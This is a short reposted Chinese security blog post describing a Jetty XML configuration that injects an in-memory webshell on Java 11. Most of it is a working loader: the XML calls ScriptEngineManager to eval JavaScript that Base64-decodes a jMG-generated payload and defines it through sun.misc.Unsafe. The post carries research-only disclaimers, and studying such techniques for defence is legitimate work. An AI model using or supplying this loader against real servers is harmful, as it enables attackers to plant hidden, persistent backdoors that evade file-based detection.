Jetty Xml内存马(Java11)

admin 2024年7月29日16:40:17评论27 views字数 1082阅读3分36秒阅读模式

网上目前文章都是使用BCELClassLoader,java8某个小版本后就使用不了了,可以替换为ScriptEngineManager配合jMG生成Base64进行内存马注入。

<?xml version="1.0"?><!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd"><Configure id="abc" class="org.eclipse.jetty.webapp.WebAppContext">  <New id="scriptEngineManager" class="javax.script.ScriptEngineManager"></New>  <Ref refid="scriptEngineManager">    <Call id="getEngineByName" name="getEngineByName">      <Arg>js</Arg>    </Call>  </Ref>  <Ref refid="getEngineByName">    <Call name="eval">      <Arg>  var str="jMG-Base64";  var bt;  try {   bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);  } catch (e) {   bt = java.util.Base64.getDecoder().decode(str);  }  var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");  theUnsafe.setAccessible(true);unsafe = theUnsafe.get(null);  unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();      </Arg>    </Call>  </Ref></Configure>

参考文章: https://mp.weixin.qq.com/s/hrG6Hz-rKH2sR79M48qaRw

(该文章仅用于技术研究,请勿用于非法用途。对于产生的任何风险及违法问题不承担任何责任)

原文始发于微信公众号(哈拉少安全小队):Jetty Xml内存马(Java11)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月29日16:40:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jetty Xml内存马(Java11)https://cn-sec.com/archives/3009090.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息